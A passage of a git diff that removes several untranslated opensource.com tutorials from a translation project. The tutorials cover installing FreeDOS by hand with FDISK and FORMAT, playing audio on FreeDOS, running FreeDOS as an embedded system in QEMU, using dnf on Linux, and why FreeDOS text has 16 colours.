fdisk][4] - -Select "1" to create a partition -(Jim Hall, [CC-BY SA 4.0][3]) - -![using fdisk][5] - -Select "1" on the next menu to make a primary partition -(Jim Hall, [CC-BY SA 4.0][3]) - -FDISK asks you if you wish to use the full size of the hard disk to create the partition. Unless you need to share space on this hard drive with another operating system, such as Linux, you should answer "Y" to this prompt. - -After FDISK creates the new partition, you'll need to reboot before DOS can recognize the new partition information. Like all DOS operating systems, FreeDOS identifies the hard drive information only when it boots up. So if you create or delete any disk partitions, you'll need to reboot so FreeDOS recognizes the changed partition information. FDISK reminds you to reboot, so you don't forget. - -![using fdisk][6] - -You need to reboot to recognize the new partition -(Jim Hall, [CC-BY SA 4.0][3]) - -You can reboot by stopping and restarting the QEMU virtual machine, but I prefer to reboot FreeDOS from the FreeDOS command line, using the FreeDOS Advanced Power Management (FDADPM) tool. To reboot, type the command `FDADPM /WARMBOOT` and FreeDOS reboots itself. - -### Formatting the hard drive - -After FreeDOS restarts, you can continue setting up the hard drive. Creating the disk partition was "step 1" in this process; now you need to make a DOS _filesystem_ on the partition so FreeDOS can use it. - -DOS systems identify "drives" using the letters `A` through `Z`. FreeDOS recognizes the first partition on the first hard drive as the `C` drive, and so on. You often indicate the drive with the letter and a colon (`:`) so the new partition we created above is actually the `C:` drive. - -You can create a DOS filesystem on the new partition with the FORMAT command. This command takes a few options, but we'll only use the `/S` option to tell FORMAT to make the new filesystem bootable—the "S" means to install the FreeDOS "System" files. Type `FORMAT /S C:` to make a new DOS filesystem on the `C:` drive. - -![formatting the disk][7] - -Format the partition to create the DOS filesystem -(Jim Hall, [CC-BY SA 4.0][3]) - -With the `/S` option, FORMAT will run the SYS program to transfer the system files. You'll see this as part of the output from FORMAT: - -![formatting the disk][8] - -FORMAT /S will use SYS to make the disk bootable -(Jim Hall, [CC-BY SA 4.0][3]) - -### Installing software - -Having created a new partition with FDISK and a new filesystem with FORMAT, the new `C:` drive is basically empty. At this point, the `C:` drive only contains a copy of the kernel and the `COMMAND.COM` command-line shell. To do anything useful with the new disk, we need to install software on it. This is the last step for the manual install process. - -The FreeDOS 1.3 RC4 LiveCD contains all of the software you might want to install on the new system. Each FreeDOS program is available as a separate "package," which is really just a Zip archive file. The packages that set up the standard DOS environment are stored in the `BASE` directory, under the `PACKAGES` directory on the LiveCD. - -You could install the packages by "unzipping" each of them to the hard drive, one at a time. With 62 individual packages in the "Base" group, installing each package individually would take a very long time. However, you can run a one-line `FOR` "loop" command to "unzip" each program. Then FreeDOS can "unzip" all of the packages for you. - -The basic usage of the `FOR` loop indicates a single-letter variable (let's use `%F`) that FreeDOS uses to "fill in" the filename later. The `FOR` also requires a list of files in brackets and the command that it should run against each of the files. The syntax to unzip a list of Zip files looks like this: - - -``` -`FOR %F IN (*.ZIP) DO UNZIP %F` -``` - -This extracts all of the Zip files into the current directory. To extract or "unzip" the files into a different location, use the `-d` ("destination") option at the end of the `UNZIP` command line. For most FreeDOS systems, you will want to install the software packages to the `C:\FDOS` directory: - -![installing the software][9] - -Unzip all of the Base packages to finish installing FreeDOS -(Jim Hall, [CC-BY SA 4.0][3]) - -FreeDOS takes care of the rest, installing all 62 packages to your system. This may take several minutes because DOS can be slow when working with lots of individual files—and this command needs to extract 62 Zip files. The installation process would run a lot faster if we used a single `BASE.ZIP` archive file, but using packages provides more flexibility in what software you might want to install versus what you choose to leave out. - -![installing the software][10] - -After installing all the Base packages -(Jim Hall, [CC-BY SA 4.0][3]) - -After you've installed everything, reboot your system with `FDADPM /WARMBOOT`. Installing manually means your new FreeDOS system won't have the usual `FDCONFIG.SYS` configuration file, so FreeDOS will assume a few typical default values when it starts up. Without the `AUTOXEC.BAT` file, FreeDOS also prompts you for the time and date. - -![rebooting FreeDOS][11] - -Rebooting FreeDOS after a manual install -(Jim Hall, [CC-BY SA 4.0][3]) - -Most users should be able to use the more user-friendly process to install FreeDOS on a new computer. But if you want to install it yourself the "old school" way, you can also run the installation steps manually. This can provide some additional flexibility and control because you install everything yourself. And now you know how to do it. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/21/6/install-freedos-without-installer - -作者:[Jim Hall][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/jim-hall -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/freedos-fish-laptop-color.png?itok=vfv_Lpph (FreeDOS fish logo and command prompt on computer) -[2]: https://opensource.com/sites/default/files/uploads/manual-install3.png (Select "Use FreeDOS 1.3 in Live Environment mode" to boot the LiveCD) -[3]: https://creativecommons.org/licenses/by-sa/4.0/ -[4]: https://opensource.com/sites/default/files/uploads/manual-install6.png (Select "1" to create a partition) -[5]: https://opensource.com/sites/default/files/uploads/manual-install7.png (Select "1" on the next menu to make a primary partition) -[6]: https://opensource.com/sites/default/files/uploads/manual-install10.png (You need to reboot to recognize the new partition) -[7]: https://opensource.com/sites/default/files/uploads/manual-install13.png (Format the partition to create the DOS filesystem) -[8]: https://opensource.com/sites/default/files/uploads/manual-install14.png (FORMAT /S will use SYS to make the disk bootable) -[9]: https://opensource.com/sites/default/files/uploads/manual-install18.png (Unzip all of the Base packages to finish installing FreeDOS) -[10]: https://opensource.com/sites/default/files/uploads/manual-install24.png (After installing all the Base packages) -[11]: https://opensource.com/sites/default/files/uploads/manual-install28.png (Rebooting FreeDOS after a manual install) diff --git a/sources/tech/20210615 Listen to music on FreeDOS.md b/sources/tech/20210615 Listen to music on FreeDOS.md deleted file mode 100644 index 35431d0388..0000000000 --- a/sources/tech/20210615 Listen to music on FreeDOS.md +++ /dev/null @@ -1,99 +0,0 @@ -[#]: subject: (Listen to music on FreeDOS) -[#]: via: (https://opensource.com/article/21/6/listen-music-freedos) -[#]: author: (Jim Hall https://opensource.com/users/jim-hall) -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) - -Listen to music on FreeDOS -====== -Mplayer is an open source media player that's usually found on Linux, -Windows, Mac, and DOS. -![Woman programming][1] - -Music is a great way to relax. On Linux, I listen to music using Rhythmbox. But did you know you can listen to music on FreeDOS, as well? Let's take a look at two popular programs to listen to music: - -### Listen to music with Mplayer - -[Mplayer][2] is an open source media player that's usually found on Linux, Windows, and Mac—but there's a DOS version available, too. And that's the version we include in FreeDOS. While the DOS port is based on an older version (version 1.0rc2-3-3-2 from 2007) it is perfectly serviceable for playing media on DOS. - -I use Mplayer to listen to music files on FreeDOS. For this example, I've copied one of my favorite audiobooks, Doctor Who: Flashpoint by [Big Finish Productions][3], and saved it as `C:\MUSIC\FLASHPNT.MP3` on my FreeDOS computer. To listen to Flashpoint on FreeDOS, I launch Mplayer from the FreeDOS command line and specify the MP3 filename to play. The basic usage of Mplayer is `mplayer [options] filename` so if the default settings work well for you, then you can just launch Mplayer with the filename. In this case, I ran these commands to change my working directory to `\MUSIC` and then run Mplayer with my MP3 audiobook file: - - -``` -CD \MUSIC -MPLAYER FLASHPNT.MP3 -``` - -FreeDOS is _case insensitive_, so it will accept uppercase or lowercase letters for DOS commands and any files or directories. You could also type `cd \music` or `Cd \Music` to move into the Music directory, and that would work the same. - -![mplayer on FreeDOS][4] - -You can use Mplayer to listen to MP3 files -(Jim Hall, [CC-BY SA 4.0][5]) - -Using Mplayer is a "no frills" way to listen to music files on FreeDOS. But at the same time, it's not distracting, so I can leave FreeDOS to play the MP3 file on my DOS computer while I use my other computer to do something else. However, FreeDOS runs tasks one at a time (in other words, DOS is a "single-tasking" operating system) so I cannot run Mplayer in the "background" on FreeDOS while I work on something else _on the same FreeDOS computer_. - -Note that Mplayer is a big program that requires a lot of memory to run. While DOS itself doesn't require much RAM to operate, I recommend at least 16 megabytes of memory to run Mplayer. - -### Listen to audio files with Open Cubic Player - -FreeDOS offers more than just Mplayer for playing media. We also include the [Open Cubic Player][6], which supports a variety of file formats including Midi and WAV files. - -In 1999, I recorded a short audio file of me saying, "Hello, this is Jim Hall, and I pronounce 'FreeDOS' as _FreeDOS_." This was meant as a joke, riffing off of a [similar audio file][7] (`english.au`, included in the Linux source code tree in 1994) recorded by Linus Torvalds to demonstrate how he pronounces "Linux." We don't distribute the _FreeDOS_ audio clip in FreeDOS itself, but you are welcome to download it from our [Silly Sounds][8] directory, found in the FreeDOS files archive at [Ibiblio][9]. - -You can listen to the _FreeDOS_ audio clip using the Open Cubic Player. To run Open Cubic Player, you normally would run `CP` from the `\APPS\OPENCP` directory. However, Open Cubic Player is a 32-bit application that requires a 32-bit DOS extender. A common DOS extender is DOS/4GW. While free to use, DOS/4GW is not an open source program, so we do not distribute it as a FreeDOS package. - -Instead, FreeDOS provides another open source 32-bit extender called DOS/32A. If you did not install everything when you installed FreeDOS, you may need to install it using [FDIMPLES][10]. I used these two commands to move into the `\APPS\OPENCP` directory, and to run Open Cubic Player using the DOS/32A extender: - - -``` -CD \APPS\OPENCP -DOS32A CP -``` - -Open Cubic Player doesn't sport a fancy user interface, but you can use the arrow keys to navigate the _File Selector_ to the directory that contains the media file you want to play. - -![Open Cubic Player][11] - -Open Cubic Player opens with a file selector -(Jim Hall, [CC-BY SA 4.0][5]) - -The text appears smaller than in other DOS applications because Open Cubic Player automatically changes the display to use 50 lines of text, instead of the usual 25 lines. Open Cubic Player will reset the display back to 25 lines when you exit the program. - -When you have selected your media file, Open Cubic Player will play it in a loop. (Press the Esc key on your keyboard to quit.) As the file plays over the speakers, Open Cubic Player displays a spectrum analyzer so you can see the audio for the left and right channels. The _FreeDOS_ audio clip is recorded in mono, so the left and right channels are the same. - -![Open Cubic Player][12] - -Open Cubic Player playing the "FreeDOS" audio clip -(Jim Hall, [CC-BY SA 4.0][5]) - -DOS may be from an older era, but that doesn't mean you can't use FreeDOS to run modern tasks or play current media. If you like to listen to digital music, try using Open Cubic Player or Mplayer on FreeDOS. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/21/6/listen-music-freedos - -作者:[Jim Hall][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/jim-hall -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/programming-code-keyboard-laptop-music-headphones.png?itok=EQZ2WKzy (Woman programming) -[2]: https://en.wikipedia.org/wiki/MPlayer -[3]: https://bigfinish.com/ -[4]: https://opensource.com/sites/default/files/uploads/mplayer.png (You can use Mplayer to listen to MP3 files) -[5]: https://creativecommons.org/licenses/by-sa/4.0/ -[6]: https://www.cubic.org/player/ -[7]: https://commons.wikimedia.org/wiki/File:Linus-linux.ogg -[8]: https://www.ibiblio.org/pub/micro/pc-stuff/freedos/files/util/sillysounds/ -[9]: https://www.ibiblio.org/ -[10]: https://opensource.com/article/21/6/freedos-package-manager -[11]: https://opensource.com/sites/default/files/uploads/opencp1.png (Open Cubic Player opens with a file selector) -[12]: https://opensource.com/sites/default/files/uploads/opencp2.png (Open Cubic Player playing the "FreeDOS" audio clip) diff --git a/sources/tech/20210616 How to use FreeDOS as an embedded system.md b/sources/tech/20210616 How to use FreeDOS as an embedded system.md deleted file mode 100644 index f4e50a2b14..0000000000 --- a/sources/tech/20210616 How to use FreeDOS as an embedded system.md +++ /dev/null @@ -1,155 +0,0 @@ -[#]: subject: (How to use FreeDOS as an embedded system) -[#]: via: (https://opensource.com/article/21/6/freedos-embedded-system) -[#]: author: (Jim Hall https://opensource.com/users/jim-hall) -[#]: collector: (lujun9972) -[#]: translator: (robsean) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) - -How to use FreeDOS as an embedded system -====== -Many embedded systems today run on Linux. But once upon a time, embedded -systems either ran on a custom, proprietary platform or ran on DOS. -![Computer laptop in space][1] - -The [FreeDOS website][2] says that most people use FreeDOS for three main tasks: - - 1. Playing classic DOS games - 2. Running legacy DOS software - 3. Running an embedded system - - - -But what does it mean to run an "embedded" system? - -An embedded system is basically a very minimal system that is dedicated to run a specific task. You might think of embedded systems today as part of the _Internet of Things_ (IoT) including sensors, thermostats, and doorbell cameras. Many embedded systems today run on Linux. - -But once upon a time, embedded systems either ran on a custom, proprietary platform or ran on DOS. Some of these DOS-based embedded systems still run today, such as cash registers or phone private branch exchange (PBX) systems. In one example as recently as 2017, trainspotters discovered a Russian electric train control system (Russian: _САВПЭ_) running FreeDOS with special software to control and monitor the route of suburban trains and to make passenger announcements. - -Setting up an embedded system on DOS requires defining a minimal DOS environment that runs a single application. Fortunately, setting up a minimal FreeDOS environment is pretty easy. Technically, all you need to boot FreeDOS and run DOS applications is the kernel and a `FDCONFIG.SYS` configuration file. - -### Installing a minimal system - -We can simulate a dedicated, minimal FreeDOS system by using the QEMU emulator with very small allocations. To reflect an embedded system more accurately, I'll define a virtual machine with only 8 megabytes of memory and a mere 2 megabytes for a virtual hard drive. - -To create the tiny virtual hard drive, I'll use this `qemu-img` command to define a 2-megabyte file: - - -``` -$ qemu-img create tiny.img 2M -Formatting 'tiny.img', fmt=raw size=2097152 -``` - -This command line defines a 32-bit "i386" CPU with 8 megabytes of memory, using the 2-megabyte `tiny.img` file as the hard drive image and the FreeDOS 1.3 RC4 LiveCD as the CD-ROM media. We'll also set the machine to boot from the CD-ROM drive (`-boot order=d`) although we only need that to install. We'll boot the completed embedded system from the hard disk after we've set everything up: - - -``` -qemu-system-i386 -m 8 -hda tiny.img -cdrom FD13LIVE.iso -boot order=d -``` - -Boot the system using the "Live Environment mode"—this provides us with a running FreeDOS system that we can use to transfer a minimal FreeDOS to the hard disk. - -![embedded setup][3] - -Boot into the LiveCD environment -(Jim Hall, [CC-BY SA 4.0][4]) - -We'll need to create a partition on the virtual hard drive for our programs. To do that, run the FDISK program from the command line. FDISK is the standard _fixed disk_ utility on FreeDOS. Use FDISK to create a single hard drive partition that spans the entire (2-megabyte) hard drive. - -![embedded setup][5] - -FDISK, after creating the 2 megabyte partition -(Jim Hall, [CC-BY SA 4.0][4]) - -But FreeDOS won't see the new hard drive partition until you reboot—FreeDOS only reads the hard disk details at startup. Exit FDISK and reboot, and you'll be ready for the next step. - -After rebooting, you need to create a DOS filesystem on the new hard drive. Since there's just the one virtual hard disk, FreeDOS will identify it as the `C:` drive. You can create a DOS filesystem on `C:` with the FORMAT command. The `/S` option transfers the operating system files (the kernel, plus a copy of the `COMMAND.COM` shell) to the new drive. - -![embedded setup][6] - -Format the new drive to create a DOS filesystem -(Jim Hall, [CC-BY SA 4.0][4]) -  - -Now that you've created the drive and formatted it, you can install the application that will run on the embedded system. - -### Installing the dedicated application - -An embedded system is really just a single-purpose application running on a dedicated system. Such applications are usually custom-built for the system it will control, such as a cash register, display terminal, or control environment. For this demonstration, let's use a program from the FreeDOS 1.3 RC4 installation CD-ROM. It needs to be small enough to fit in the tiny 2-megabyte hard drive we've created for it. This can be anything—so just for fun, let's make it a game. - -FreeDOS 1.3 RC4 includes several fun games. One game that I like is a board game called Simple Senet. It's based on Senet, an ancient Egyptian board game. The details of the game aren't important for this demonstration, except that we'll install it and set it up as the dedicated application for the embedded system. - -To install the application, go into the `\PACKAGES\GAMES` directory on the FreeDOS 1.3 RC4 LiveCD. You'll see a long list of packages there, and the one we want is `SENET.ZIP`. - -![embedded setup][7] - -A list of game packages from FreeDOS 1.3 RC4 -(Jim Hall, [CC-BY SA 4.0][4]) - -To unzip the Simple Senet package onto the virtual hard drive, use the `UNZIP` command. All FreeDOS packages are Zip files, so you can use any Zip-compatible archive utility to manage them. FreeDOS 1.3 RC4 includes `ZIP` to create Zip archives, and `UNZIP` to extract Zip archives. Both are from the [Info-Zip Project][8]. - - -``` -`UNZIP SENET.ZIP -d C:\FDOS` -``` - -Normally, using `UNZIP` will extract a Zip file in the current directory. The `-d C:\FDOS` option at the end of the command line tells `UNZIP` to extract the Zip file to the `C:\FDOS` directory. (`-d` means "destination.") - -![embedded setup][9] - -Unzipping the Simple Senet game -(Jim Hall, [CC-BY SA 4.0][4]) - -To run the Simple Senet game whenever the embedded system boots, we need to tell FreeDOS to use Senet as the system "shell." The default FreeDOS shell is the `COMMAND.COM` program, but you can define a different shell program using the `SHELL=` directive in the `FDCONFIG.SYS` kernel configuration file. We can use FreeDOS Edit to create the new `C:\FDCONFIG.SYS` file. - -![Embedded edit senet][10] - -(Jim Hall, [CC-BY SA 4.0][4]) - -If you need to define other parameters to support the embedded system, you can add those to the `FDCONFIG.SYS` file. For example, you might need to set environment variables using the `SET` action, or tune the FreeDOS kernel with `FILES=` or `BUFFERS=` statements. - -### Run the embedded system - -With the embedded system fully defined, we can now reboot the machine to run the embedded application. Running an embedded system usually requires only limited resources, so for this demonstration, we'll tweak the QEMU command line to only boot from the hard drive (`-boot order=c`) and not define a CD-ROM drive: - - -``` -qemu-system-i386 -m 8 -hda tiny.img -boot order=c -``` - -When the FreeDOS kernel starts up, it reads the `FDCONFIG.SYS` file for its startup parameters. Then it runs the shell using the `SHELL=` line. That runs the Simple Senet game automatically. - -![embedded setup][11] - -Running Simple Senet as an embedded system -(Jim Hall, [CC-BY SA 4.0][4]) - -We've used Simple Senet to demonstrate how to set up an embedded system on FreeDOS. Depending on your needs, you can use whatever standalone application you like. Define it as the DOS shell using the `SHELL=` line in `FDCONFIG.SYS` and FreeDOS will automatically launch the application at boot-time. - -However, there's one limitation here. Embedded systems do not usually need to exit back to a command prompt, so these dedicated applications don't usually allow the user to quit to DOS. If you manage to exit the embedded application, you'll likely see a "Bad or missing Command Interpreter" prompt, where you'll need to enter the full path to a new shell. For a user-focused desktop system, this would be a problem. But on an embedded system that's dedicated to doing only one job, you should never need to exit anyway. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/21/6/freedos-embedded-system - -作者:[Jim Hall][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/jim-hall -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/computer_space_graphic_cosmic.png?itok=wu493YbB (Computer laptop in space) -[2]: https://www.freedos.org/ -[3]: https://opensource.com/sites/default/files/uploads/embedded-setup02.png (Boot into the LiveCD environment) -[4]: https://creativecommons.org/licenses/by-sa/4.0/ -[5]: https://opensource.com/sites/default/files/uploads/embedded-setup09.png (FDISK, after creating the 2 megabyte partition) -[6]: https://opensource.com/sites/default/files/uploads/embedded-setup19.png (Format the new drive to create a DOS filesystem) -[7]: https://opensource.com/sites/default/files/uploads/games-dir.png (A list of game packages from FreeDOS 1.3 RC4) -[8]: http://infozip.sourceforge.net/ -[9]: https://opensource.com/sites/default/files/uploads/senet-unzip.png (Unzipping the Simple Senet game) -[10]: https://opensource.com/sites/default/files/pictures/embedded-edit-senet.png (Embedded edit senet) -[11]: https://opensource.com/sites/default/files/uploads/senet.png (Running Simple Senet as an embedded system) diff --git a/sources/tech/20210617 Linux package management with dnf.md b/sources/tech/20210617 Linux package management with dnf.md deleted file mode 100644 index 5aa3c827b4..0000000000 --- a/sources/tech/20210617 Linux package management with dnf.md +++ /dev/null @@ -1,182 +0,0 @@ -[#]: subject: (Linux package management with dnf) -[#]: via: (https://opensource.com/article/21/6/dnf-linux) -[#]: author: (Seth Kenlon https://opensource.com/users/seth) -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) - -Linux package management with dnf -====== -Learn how to install packages on Linux with the dnf command, then -download our cheat sheet to keep the right command at your fingertips. -![Package wrapped with brown paper and red bow][1] - -Installing an application on a computer system is pretty simple. You copy files from an archive (like a .zip file) onto the target computer in a place the operating system expects there to be applications. Because many of us are accustomed to having fancy installer "wizards" to help us get software on our computers, the process seems like it should be technically more complex than it is. - -What _is_ complex, though, is the issue of what makes up an application. What users think of as a single application actually contains code borrowing from software libraries (i.e., `.so` files on Linux, `.dll` files on Windows, and `.dylib` on macOS) scattered throughout an operating system. - -So that users don't have to worry about that veritable matrix of interdependent code, Linux uses a **package management system** to track what application needs what library, and which library or application has security or feature updates, and what extra data files were installed with each software title. A package manager is, essentially, an installer wizard. They're easy to use, they provide both graphical interfaces and terminal-based interfaces, and they make your life easier. The better you know your distribution's package manager, the easier your life gets. - -### Installing applications on Linux - -If you're a casual desktop user who wants to install an application on Linux, then you may be looking for [GNOME Software][2], a desktop application browser. - -![Image of the GNOME Software application][3] - -It works as you'd expect: You click through its interface until you find an application that seems like it would be useful, and then you click the **Install** button. - -Alternately, you can open `.rpm` or `.flatpakref` packages downloaded from the web in GNOME Software for it to install them for you. - -If you're inclined toward controlling your computer with typed commands, read on! - -### Finding software with dnf - -Before you can install an application, you may need to confirm that it exists on your distribution's servers. Usually, searching for the common name of an application with `dnf` suffices. For instance, say you recently read [an article about Cockpit][4] and decide you want to try it. You could search for `cockpit` to verify that your distribution includes it: - - -``` -$ dnf search cockpit - Last metadata expiration check: 0:01:46 ago on Tue 18 May 2021 19:18:15 NZST. - ==== Name Exactly Matched: cockpit ==== - cockpit.x86_64 : Web Console for Linux servers - -==== Name & Summary Matched: cockpit == - cockpit-bridge.x86_64 : Cockpit bridge server-side component - cockpit-composer.noarch : Composer GUI for use with Cockpit - [...] -``` - -There's an exact match. The package listed as a match is called `cockpit.x86_64`, but the `.x86_64` part of the name only denotes the CPU architecture it's compatible with. By default, your system installs packages with matching CPU architectures, so you can ignore that extension. Therefore, you've confirmed that the package you're looking for is indeed called simply `cockpit`. - -Now you can confidently install it with `dnf install`. This step requires administrative privileges: - - -``` -`$ sudo dnf install cockpit` -``` - -More often than not, that's the typical `dnf` workflow: search and install. - -Sometimes, however, the results of `dnf search` aren't clear to you, or you want more information about a package than just its common name. There are a few relevant `dnf` subcommands, depending on what information you're after. - -### Package metadata - -If you feel like your search got you _close_ to the package you want, but you're just not sure yet, it's often helpful to take a look at the package's metadata, such as the project's URL and description. To get this info, use the pleasantly intuitive `dnf info` command: - - -``` -$ dnf info terminator -Available Packages -Name         : terminator -Version      : 1.92 -Release      : 2.el8 -Architecture : noarch -Size         : 526 k -Source       : terminator-1.92-2.el8.src.rpm -Repository   : epel -Summary      : Store and run multiple GNOME terminals in one window -URL          : -License      : GPLv2 -Description  : Multiple GNOME terminals in one window.  This is a project to produce -             : an efficient way of filling a large area of screen space with -             : terminals. This is done by splitting the window into a resizeable -             : grid of terminals. As such, you can  produce a very flexible -             : arrangements of terminals for different tasks. -``` - -This info dump tells you the version of the available package, which repository registered with your system provides it, the project's website, and a long description of what it does. - -### What package provides a file? - -Package names don't always match what you're looking for. For instance, suppose you're reading documentation telling you that you must install something called `qmake-qt5`: - - -``` -$ dnf search qmake-qt5 -No matches found. -``` - -The `dnf` database is extensive, so you don't have to restrict yourself to searches for exact matches. You can use the `dnf provides` command to learn whether anything provides what you're looking for as part of some larger package: - - -``` -$ dnf provides qmake-qt5 -qt5-qtbase-devel-5.12.5-8.el8.i686 : Development files for qt5-qtbase -Repo        : appstream -Matched from: -Filename    : /usr/bin/qmake-qt5 - -qt5-qtbase-devel-5.15.2-3.el8.x86_64 : Development files for qt5-qtbase -Repo        : appstream -Matched from: -Filename    : /usr/bin/qmake-qt5 -``` - -This confirms that the application `qmake-qt5` is a part of a package named `qt5-qtbase-devel`. It also tells you that the application gets installed to `/usr/bin`, so you know exactly where to find it once it's installed. - -### What files are included in a package? - -There are times when I find myself approaching `dnf` from a different angle entirely. Sometimes, I've already confirmed that an application is installed on my system; I just can't figure out how I got it. Other times, I know I have a specific package installed, but I'm not clear on exactly what that package put on my system. - -If you ever need to "reverse engineer" a package's payload, you can use the `dnf repoquery` command along with the `--list` option. This looks at the repository's metadata about a package and returns a list of all files provided by that package: - - -``` -$ dnf repoquery --list qt5-qtbase-devel -/usr/bin/fixqt4headers.pl -/usr/bin/moc-qt5 -/usr/bin/qdbuscpp2xml-qt5 -/usr/bin/qdbusxml2cpp-qt5 -/usr/bin/qlalr -/usr/bin/qmake-qt5 -/usr/bin/qvkgen -/usr/bin/rcc-qt5 -[...] -``` - -These lists can get long, so it helps to pipe the command through `less` or your favorite pager. - -### Removing an application - -Should you decide you no longer need an application installed on your system, you can use `dnf remove` to uninstall it, all of the files that were installed as part of its package, and any dependencies that are no longer necessary: - - -``` -`$ dnf remove bigapp` -``` - -Sometimes, dependencies get installed with one app and are later found useful by some other application you install. In the event that two packages require the same dependency, `dnf remove` does _not_ remove the dependency. It's not unheard of to end up with a stray package here and there after installing and uninstalling lots of applications. About once a year, I perform a `dnf autoremove` to clear out any unused packages: - - -``` -`$ dnf autoremove` -``` - -This isn't necessary, but it's a housecleaning step that makes me feel better about my computer. - -### Getting to know dnf - -The more you know about how your package manager works, the easier it is for you to install and query applications when necessary. Even if you're not a regular `dnf` user, it can be useful to know it when you find yourself interfacing with an RPM-based distro. - -Having graduated from `yum`, one of my favorite package managers is the `dnf` command. While I don't love all its subcommands, I find it to be one of the more robust package management systems out there. [**Download our `dnf` cheat sheet**][5] to get used to the command, and don't be afraid to try some new tricks with it. Once you get familiar with it, you might find it hard to use anything else. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/21/6/dnf-linux - -作者:[Seth Kenlon][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/seth -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/brown-package-red-bow.jpg?itok=oxZYQzH- (Package wrapped with brown paper and red bow) -[2]: https://wiki.gnome.org/Apps/Software -[3]: https://opensource.com/sites/default/files/gnome-software.png (The GNOME Software app) -[4]: https://opensource.com/article/20/11/cockpit-server-management -[5]: https://opensource.com/downloads/dnf-cheat-sheet diff --git a/sources/tech/20210617 Why FreeDOS has 16 colors.md b/sources/tech/20210617 Why FreeDOS has 16 colors.md deleted file mode 100644 index 60e6790e11..0000000000 --- a/sources/tech/20210617 Why FreeDOS has 16 colors.md +++ /dev/null @@ -1,128 +0,0 @@ -[#]: subject: (Why FreeDOS has 16 colors) -[#]: via: (https://opensource.com/article/21/6/freedos-sixteen-colors) -[#]: author: (Jim Hall https://opensource.com/users/jim-hall) -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) - -Why FreeDOS has 16 colors -====== -Why does text only come in this limited palette, and why does FreeDOS -use those colors and shades, instead of some other colors? The answer, -like many things in technology, is because of history. -![Person typing on a 1980's computer][1] - -If you've looked carefully at FreeDOS, you've probably noticed that text only comes in a limited range of colors—sixteen text colors, and eight background colors. This is similar to how Linux displays text color—you might be able to change _what text colors are used_ in a Linux terminal, but you're still stuck with just sixteen text colors and eight background colors. - -![terminal colors][2] - -DOS text comes in 16 colors and 8 background colors -(Jim Hall, [CC-BY SA 4.0][3]) - -Why does text only come in this limited palette, and why does FreeDOS use _those_ colors and shades, instead of some other colors? The answer, like many things in technology, is because of _history_. - -### The origins of PC color - -To explain why text only comes in sixteen colors, let me tell you a story about the first IBM Personal Computer. Parts of this story may be somewhat apocryphal, but the basics are close enough. - -IBM released the Personal Computer 5150 (the "IBM PC") in 1981. The PC used a simple monitor screen that displayed text in green. Because this display only worked with one color, it was dubbed _monochrome_ (the "IBM 5151 monochrome display," with the IBM Monochrome Display Adapter card, or "MDA"). - -That same year, IBM released an updated version of the PC that sported an amazing technical achievement—color! The new IBM 5153 color display relied on a new IBM Color Graphics Adapter, or "CGA." And it is because of this original CGA that all DOS text inherited their colors. - -But before we go there, we first need to understand something about color. When we talk about colors on a computer screen, we're talking about mixing different values of the three _primary_ light colors—red, green, and blue. You can mix together different levels (or "brightnesses") of red, green, and blue light to create almost any color. Mix just red and blue light, and you get magenta. Mix blue and green, and you get cyan or aqua. Mix all colors equally, and you get white. Without any light colors, you see black (an absence of color). - -![light colors][4] - -Mix red, green, and blue light to get different colors -(Jim Hall, [CC-BY SA 4.0][3]) - -The IBM 5153 color display presented color to the user by lighting up tiny red, green, and blue phosphor dots on a cathode ray tube (a "CRT"). These tiny dots were arranged very close together and in a pattern where a triad of red, green, and blue dots would form a "pixel." By controlling which phosphor dots were lit at one time, the IBM 5153 color display could show different colored pixels. - -![CRT pixels][5] - -Each red, green, and blue triad is a single pixel -(Jim Hall, [CC-BY SA 4.0][3]) - -By the way, even modern displays use this combination of red, green, and blue dots to represent colors. The difference in modern computers is that instead of tiny phosphor dots, each pixel uses a triad of red, green, and blue LED lights—usually arranged side by side. The computer can turn each LED light on or off to mix the red, green, and blue colors in each pixel. - -![LCD pixels][6] - -Each red, green, and blue triad is a single pixel -(Jim Hall, [CC-BY SA 4.0][3]) - -### Defining CGA colors - -The IBM engineers realized they could display several colors by mixing each red, green, and blue pixels. In the simplest case, you could assume each red, green, and blue dot in a single-pixel was either "on" or "off." And as any computer programmer will tell you, you can represent "on" and "off" as binary—ones (1=on) and zeroes (0=off). - -Representing red, green, and blue with ones or zeroes means you can combine up to eight colors, from 000 (red, green, and blue are all off) to 111 (red, green, and blue are all on). Note that the bit pattern goes like "RGB," so RGB=001 is blue (only blue is on) and RGB=011 is cyan (both green and blue are on): - -| | | | | ----------- | | | 000 Black | | | 001 